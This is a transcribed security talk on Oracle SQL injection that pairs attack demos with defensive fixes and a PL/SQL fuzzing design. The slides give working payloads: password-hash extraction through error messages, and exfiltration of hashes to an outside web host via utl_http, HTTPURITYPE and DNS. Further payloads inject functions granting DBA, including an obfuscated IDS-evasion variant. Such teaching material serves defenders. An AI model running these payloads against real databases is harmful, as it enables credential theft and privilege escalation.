Hacking and Protecting Oracle DB. Slavik Markovich CTO, Sentrigo



Similar documents
SQL Injection in web applications

ODTUG - SQL Injection Crash Course for Oracle Developers

Pentesting / Hacking Oracle databases with

Advanced SQL Injection

Advanced SQL Injection in Oracle databases. Esteban Martínez Fayó

An Introduction to SQL Injection Attacks for Oracle Developers. January 2004 INTEGRIGY. Mission Critical Applications Mission Critical Security

Oracle PL/SQL Injection

Exploiting PL/SQL Injection on Oracle 12c. with only. CREATE SESSION privileges

NEW AND IMPROVED: HACKING ORACLE FROM WEB. Sumit sid Siddharth 7Safe Limited UK

PLOUG Oracle Security. Alexander Kornbrust, Jacek Sapiński 16-Oct-2008 OPITZ CONSULTING. Red-Database-Security GmbH

WHITE PAPER. An Introduction to SQL Injection Attacks for Oracle Developers

Best Practices for Oracle Databases Hardening Oracle /

Secure Coding (PL/SQL)

Penetration Testing: Advanced Oracle Exploitation Page 1

SQL Injection 2.0: Bigger, Badder, Faster and More Dangerous Than Ever. Dana Tamir, Product Marketing Manager, Imperva

Hedgehog: Host-Based Database Activity Monitoring & Prevention

Paul M. Wright Last updated Sunday 25 th February For

Best Practices for Dynamic SQL

Security Vulnerability Notice

Review your answers, feedback, and question scores below. An asterisk (*) indicates a correct answer.

Developing SQL and PL/SQL with JDeveloper

SQL injection: Not only AND 1=1. The OWASP Foundation. Bernardo Damele A. G. Penetration Tester Portcullis Computer Security Ltd

White Paper. McAfee Real-Time Database Monitoring, Auditing, and Intrusion Prevention

AUTOMATIC DETECTION OF VULNERABILITY IN WRAPPED PACKAGES IN ORACLE

SQL Injection. Bochum. Alexander Kornbrust 10-Nov Red-Database-Security GmbH

Training Guide. PL/SQL for Beginners. Workbook

Database security tutorial. Part I

The Sins of SQL Programming that send the DB to Upgrade Purgatory Abel Macias. 1 Copyright 2011, Oracle and/or its affiliates. All rights reserved.

Different ways to guess Oracle database SID

Review your answers, feedback, and question scores below. An asterisk (*) indicates a correct answer.

How to Make Your Oracle APEX Application Secure

Oracle Database Security. Nathan Aaron ICTN 4040 Spring 2006

Oracle Data Redaction is Broken

Automating SQL Injection Exploits

Circumvent Oracle s Database Encryption and Reverse Engineering of Oracle Key Management Algorithms. Alexander Kornbrust 28-July-2005

14 Triggers / Embedded SQL

SQL Injection and Data Mining through Inference

Virtual Private Database Features in Oracle 10g.

Oracle Security Auditing

Oracle Security Auditing

Top 10 Database. Misconfigurations.

Oracle Database: SQL and PL/SQL Fundamentals NEW

PROCEDURES, FUNCTIONS AND PACKAGES

Oracle For Beginners Page : 1

METHODS OF QUICK EXPLOITATION OF BLIND SQL INJECTION DMITRY EVTEEV

Procedural Extension to SQL using Triggers. SS Chung

Sentrigo Hedgehog Enterprise Review

Oracle Database: SQL and PL/SQL Fundamentals

Oracle Database: SQL and PL/SQL Fundamentals NEW

Security and Control Issues within Relational Databases

Oracle Audit Vault and Database Firewall

How I hacked PacketStorm ( )

VIDEO intypedia007en LESSON 7: WEB APPLICATION SECURITY - INTRODUCTION TO SQL INJECTION TECHNIQUES. AUTHOR: Chema Alonso

Chapter 1. Writing Basic. SQL Statements

Creating PL/SQL Blocks. Copyright 2007, Oracle. All rights reserved.

SQL Injection for newbie

Oracle Security Tools

Duration Vendor Audience 5 Days Oracle End Users, Developers, Technical Consultants and Support Staff

Achieving Security Compliancy and Database Transparency Using Database Activity Monitoring Systems

Oracle PL/SQL Best Practices

COMS20700 DATABASES 13 PL/SQL. COMS20700 Databases Dr. Essam Ghadafi

SECURING APACHE : THE BASICS - III

SQL INJECTION ATTACKS By Zelinski Radu, Technical University of Moldova

Handling Exceptions. Copyright 2006, Oracle. All rights reserved. Oracle Database 10g: PL/SQL Fundamentals 8-1

EC-Council CAST CENTER FOR ADVANCED SECURITY TRAINING. CAST 619 Advanced SQLi Attacks and Countermeasures. Make The Difference CAST.

Database programming 20/08/2015. DBprog news. Outline. Motivation for DB programming. Using SQL queries in a program. Using SQL queries in a program

Agenda. SQL Injection Impact in the Real World Attack Scenario (1) CHAPTER 8 SQL Injection

Retrieving Data Using the SQL SELECT Statement. Copyright 2006, Oracle. All rights reserved.

Overview of Network Security The need for network security Desirable security properties Common vulnerabilities Security policy designs

SQL Injection January 23, 2013

Serious Threat. Targets for Attack. Characterization of Attack. SQL Injection 4/9/2010 COMP On August 17, 2009, the United States Justice

The Top Web Application Attacks: Are you vulnerable?

Oracle Database: SQL and PL/SQL Fundamentals

Thick Client Application Security

Exposed Database( SQL Server) Error messages Delicious food for Hackers

Mini User's Guide for SQL*Plus T. J. Teorey

Database Assessment. Vulnerability Assessment Course

Topics Advanced PL/SQL, Integration with PROIV SuperLayer and use within Glovia

PUBLIC Installation: SAP Mobile Platform Server for Linux

Handling PL/SQL Errors

Real Life Database Security Mistakes. Stephen Kost Integrigy Corporation Session #715

CS346: Database Programming.

Improved Penetration Testing of Web Apps and Databases with MatriXay

Oracle PL/SQL Programming

Database Access from a Programming Language: Database Access from a Programming Language

Database Access from a Programming Language:

Database Security Guide


Token Sequencing Approach to Prevent SQL Injection Attacks

Intrusion detection for web applications

Oracle SQL. Course Summary. Duration. Objectives

SQL Injection. Slides thanks to Prof. Shmatikov at UT Austin

Chapter 2: Security in DB2

Advanced Web Technology 10) XSS, CSRF and SQL Injection 2

Security Analysis. Spoofing Oracle Session Information

Transcription:

Hacking and Protecting Oracle DB Slavik Markovich CTO, Sentrigo

What s This Presentation About? Explore SQL injection in depth Protect your code Finding vulnerable code Real world example

What We'll Not Talk About Weak / default passwords for database accounts Missing security patches/patchsets/old versions/0days Excessive privileges Unsecured Listener External resources Contractors, outsourcing, etc. No internal network boundaries No encryption of data in motion and at rest No monitoring of access and logs

SQL Injection - Wikipedia A technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed.

SQL Injection Exists in any layer of any application C/S and Web Applications Stored program units Built in User created Has many forms Extra queries, unions, order by, sub selects

SQL Injection Types In band Use injection to return extra data Part of normal result set (unions) In error messages Out of band Use alternative route like UTL_HTTP, DNS to extract data Blind / Inference No data is returned but the hacker is able to infer the data using return codes, error codes, timing measurments and more

SQL Injection In-band SQL> select utl_inaddr.get_host_name('127.0.0.1') from dual; localhost SQL> select utl_inaddr.get_host_name((select username '=' password from dba_users where rownum=1)) from dual; select utl_inaddr.get_host_name((select username '=' password from dba_users where rownum=1)) from dual * ERROR at line 1: ORA-29257: host SYS=8A8F025737A9097A unknown ORA-06512: at "SYS.UTL_INADDR", line 4 ORA-06512: at "SYS.UTL_INADDR", line 35 ORA-06512: at line 1

SQL Injection Out-of-band Send information via HTTP to an external site via HTTPURI select HTTPURITYPE( 'http://www.sentrigo.com/' (select password from dba_users where rownum=1) ).getclob() from dual; Send information via HTTP to an external site via utl_http select utl_http.request ('http://www.sentrigo.com/' (select password from dba_users where rownum=1)) from dual; Send information via DNS (max. 64 bytes) to an external site select utl_http.request ('http://www.' (select password from dba_users where rownum=1) '.sentrigo.com/' ) from dual; DNS-Request: www.8a8f025737a9097a.sentrigo.com

Blind SQL Injection Pseudo-Code: If the first character of the sys-hashkey is a 'A' then select count(*) from all_objects,all_objects else select count(*) from dual end if;

SQL Injection Web Application Username = ' or 1=1 -- The original statement looked like: 'select * from users where username = ''' + username + ''' and password = ''' + password + '''' The result = select * from users where username = '' or 1=1 --' and password = '' This is not what we'll talk about

SQL Injection PL/SQL Two execution modes Definer rights Invoker rights Source code not always available There are several un-wrappers available One can find injections without source Find dependencies Trial and error v$sql Fuzzer Oracle Patches

Demo Procedure

SQL Injection Inject SQL SCOTT> set serveroutput on SCOTT> exec sys.retrieve_data_bad('scott', 'EMP', 1) EMPNO = 7369 ENAME = SMITH JOB = CLERK MGR = 7902 HIREDATE = 17-DEC-80 SAL = 800 COMM = DEPTNO = 20

SQL Injection Inject SQL SCOTT> exec sys.retrieve_data_bad('dual where 1=2 union select name '':'' password from user$ where user# = 0--', null); DUMMY = SYS:8A8F025737A9097A SELECT * FROM dual where 1=2 union select name ':' password from user$ where user# = 0--. WHERE ROWNUM <= 10

SQL Injection Inject Functions CREATE OR REPLACE FUNCTION attack RETURN VARCHAR2 AUTHID CURRENT_USER IS PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT'; RETURN '1'; END get_dba; /

SQL Injection Inject Functions SCOTT> exec sys.retrieve_data_bad('dual where ''x'' = scott.attack() --', null) PL/SQL procedure successfully completed. SCOTT> select * from user_role_privs; USERNAME GRANTED_ROLE ADM DEF OS_ --------------------- ------------------------ --- --- --- SCOTT DBA NO YES NO SCOTT CONNECT NO YES NO SCOTT RESOURCE NO YES NO * The resulting SQL SELECT * FROM dual where 'x' = scott.attack() --. WHERE ROWNUM <= 10

SQL Injection Cursor Injection DECLARE BEGIN END; / l_cr l_res NUMBER; NUMBER; l_cr := dbms_sql.open_cursor; dbms_sql.parse(l_cr, 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''GRANT dba to public''; END;', dbms_sql.native); sys.retrieve_data_bad('dual where 1 = dbms_sql.execute(' l_cr ') --', null); * Does not work in 11g

SQL Injection IDS Evasion DECLARE BEGIN l_cr l_res NUMBER; NUMBER; l_cr := dbms_sql.open_cursor; dbms_sql.parse(l_cr, translate('1;vm3 ; 4 3.l3 3795z5l572_9 3z23v965ze x;.6z ;b;v79; 6ll;1639; ~. 3z9 1x3 95 47xm6v~e ;z1e', '][; 9876543210.,)(mnbvcxzlkjhgfdsapoiuytrewq~', 'qwertyuiopasdfghjklzxcvbnm(),.0123456789 ;[]'''), dbms_sql.native); END; / sys.retrieve_data_bad('dual where 1 = dbms_sql.execute(' l_cr ') --', null);

SQL Injection Fix 0 Of course, the easiest is to run code with invoker rights CREATE PROCEDURE retrieve_data_bad( p_owner IN VARCHAR2, p_table_name IN VARCHAR2, p_rows IN NUMBER := 10) AUTHID CURRENT_USER AS

Protecting Your Code Use static SQL where possible Use invoker rights Use bind variables where possible Check that the schema exists select 1 from all_users where username = :1 dbms_assert.schema_name Check that the object exists select 1 from all_objects where owner = :1 and object_name = :2 dbms_assert.sql_object_name

SQL Injection Fix I Let's fix the code: l_owner := sys.dbms_assert.schema_name(upper(p_owner)); l_table_name := sys.dbms_assert.sql_object_name(l_owner '.' p_table_name); dbms_sql.parse(l_cr, 'SELECT * FROM ' l_owner '.' p_table_name ' WHERE ROWNUM <= ' p_rows, dbms_sql.native); But, what about the following ( object injection ): create user emp where 1=scott.attack() --... create table emp where 1=scott.attack() --...

SQL Injection Fix II Enquote when needed l_owner := sys.dbms_assert.enquote_name(sys.dbms_assert.schema_ name(upper(p_owner))); l_table_name := sys.dbms_assert.enquote_name(p_table_name);

SQL Injection Lateral Injection Code does not have to receive parameters to be injected (Litchfield wrote about this) EXECUTE IMMEDIATE 'update x set y = ''' SYSDATE ''''; Running this code before: ALTER SESSION SET NLS_DATE_FORMAT = '"1'' and scott.attack()=''x''--"'; ALTER SESSION SET NLS_NUMERIC_CHARACTERS = '''.' ;

SQL Injection Fix III Use bind variables dbms_sql.parse(l_cr, 'SELECT * FROM ' l_owner '.' l_table_name ' WHERE ROWNUM <= :r', dbms_sql.native); dbms_sql.bind_variable(l_cr, 'r', p_rows); * You can use bind variables with EXECUTE IMMEDIATE with the USING keyword

Finding Vulnerable Code Finding dynamic query code select * from dba_dependencies where referenced_name = 'DBMS_SQL' select * from dba_source where upper(text) like '%IMMEDIATE%'

Fuzzing Fuzz testing or fuzzing is a software testing technique that provides random data ("fuzz") to the inputs of a program. If the program fails (for example, by crashing, or by failing built-in code assertions), the defects can be noted. The great advantage of fuzz testing is that the test design is extremely simple, and free of preconceptions about system behavior.

PL/SQL The Right Tool Easy to run SQL Built-in the database Cross platform Good enough for the task DBAs already speak it fluently Can be easily scheduled as a DB job

Caution Use With Care Fuzzing on production is a BIG no-no Be sure to receive permission from the DB owner Clean fuzz run does not mean you are secure

Design Principles Track using tables Track fuzzing results Rerun, Restart tests after stopping and failing Discovery Code to find interesting stored program units Invoke Users should be able to specify interesting parameters and error messages Report Report findings

Track A Simple ERD Example FUZZ_ERRORS SQL_CODE DESCIPTION FUZZ_SEARCH SEARCH_TERM FUZZ_RUN ID NAME START_TS END_TS FUZZ_INPUT DATATYPE VAL DYNAMIC FUZZ_INPUT_DEFAULTS DATATYPE VAL FUZZED_OBJ ID FUZZ_RUN_ID OBJ_ID METHOD_NAME PARAMS START_TS END_TS IS_VUL FUZZED_EXEC ID FUZZED_OBJ_ID IS_VUL RESULT FUZZED_EXEC_PARAM ID FUZZED_EXEC_ID POSITION VAL

Discovery Find Relevant Objects SELECT seq_fuzzed_obj.nextval, object_name, overload FROM ( SELECT DISTINCT object_id, object_name, overload FROM all_arguments aa WHERE owner = :o AND package_name IN ( SELECT DISTINCT alls.name FROM all_source alls, fuzz_search_terms fst WHERE alls.owner = :o AND alls.type = 'PACKAGE BODY' AND UPPER(alls.text) LIKE '%' UPPER(fst.search_term) '%') AND (object_id, object_name, overload) NOT IN ( SELECT obj_id, method_name, overload FROM fuzz_excludes AND EXISTS ( SELECT 1 FROM all_arguments WHERE object_id = aa.object_id AND object_name = aa.object_name AND NVL(overload, 'x') = NVL(aa.overload, 'x') AND argument_name IS NOT NULL AND position = 1));

Discovery Describing Functions Use all_arguments to get parameters Optional - use dbms_describe Find 'Language Java' in code and then use check the PL/SQL wrapper Save the data for future re-runs

Invoke Fuzzed Code Use "dbms_sql" to invoke anonymous PL/SQL blocks created from describe code Pass in various interesting input parameters Strings containing ' or " Long strings Nulls Combinations Off-by-one On code using concatenation of numbers and dates directly without formating NLS_DATE_FORMAT NLS_NUMERIC_CHARACTERS

Invoking Fuzzed Code Catch interesting errors ORA-00921: unexpected end of SQL command ORA-00936: missing expression ORA-00933: SQL command not properly ended ORA-00970, ORA-00907, ORA-01756, ORA-00923, ORA-00900, PLS-00103, LPX-00601, ORA-00604 Crashes for C code etc. ORA-03113 might also be an instance crash ORA-03114, ORA-01012 ORA-00600 Internal error

Bombs Away Running as DBA on Oracle supplied code can be very interesting Sentrigo Red Team discovered multiple vulnerabilities this way Reported to Oracle Protected by Hedgehog out of the box

Other Fuzzers Out There Inguma PL/SQL fuzzer Written by Joxean Koret Python http://inguma.sourceforge.net/ SPIKE Not Oracle specific Used to analyze and fuzz network protocols http://www.immunityinc.com/resourcesfreesoftware.shtml

Protecting Your Database Try out the Hedgehog -http://www.sentrigo.com Virtual patching SQL Injection protection Fine grain auditing Centralized management More Visit our booth

Questions?